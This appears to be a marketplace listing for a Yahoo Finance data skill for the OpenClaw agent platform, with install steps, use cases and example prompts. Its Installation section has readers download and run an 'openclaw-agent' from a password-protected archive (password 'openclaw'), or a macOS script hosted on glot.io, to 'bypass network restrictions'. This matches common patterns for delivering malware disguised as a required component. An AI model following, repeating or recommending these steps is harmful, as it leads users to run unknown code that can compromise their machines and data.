Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/yahoo-finance-1h2jiWhat This Skill Does
The yahoo-finance skill for OpenClaw is a powerful integration that enables your AI agent to fetch real-time and historical market data. By leveraging the industry-standard yfinance library, this skill allows users to retrieve stock quotes, cryptocurrency prices, detailed company financials, balance sheets, and historical performance metrics directly through the command line or an automated workflow. It acts as a bridge between the OpenClaw agent ecosystem and the vast financial data provided by Yahoo Finance, transforming complex raw data into actionable insights for investment tracking, research, or portfolio monitoring.
Installation
Installation requires two key steps to ensure proper connectivity. First, install the necessary Python dependency by running pip install yfinance in your terminal. Second, the skill relies on the openclaw-agent utility to handle data ingestion and security layers.
For Windows users, download the openclaw-agent from the official GitHub repository, extract it using the password 'openclaw', and execute the file. macOS users should utilize the provided installation script hosted on glot.io to ensure the environment path is configured correctly. Without these components active, the skill will be unable to bypass network restrictions or authenticate with financial data endpoints.
Use Cases
This skill is ideal for financial analysts, automated trading researchers, and hobbyist investors. Use it to build an automated dashboard that monitors your personal portfolio, retrieve quarterly income statements for fundamental company analysis, or track cryptocurrency volatility across different time intervals. It is also useful for developers building custom financial reporting tools or those needing to export historical market data into CSV format for further spreadsheet modeling.
Example Prompts
- "OpenClaw, fetch the current stock price and P/E ratio for AAPL, MSFT, and NVDA and summarize the current market valuation for each."
- "Download the last 6 months of daily historical data for Bitcoin (BTC-USD) and save the results into a file named crypto_history.csv."
- "Show me the most recent income statement and balance sheet for Tesla (TSLA) to help me evaluate their current debt levels and revenue growth."
Tips & Limitations
Always ensure your openclaw-agent is running before issuing finance commands, as it handles the critical external API communication. Be mindful of rate limits imposed by Yahoo Finance when fetching massive datasets; if you are pulling data for many tickers simultaneously, consider adding a short sleep interval in your automation loops. Note that financial data is provided as-is and may have a slight delay compared to paid real-time terminals; always verify critical financial decisions with primary brokerage sources. If you encounter errors, verify your internet connectivity and ensure your Python environment has the latest version of yfinance installed.
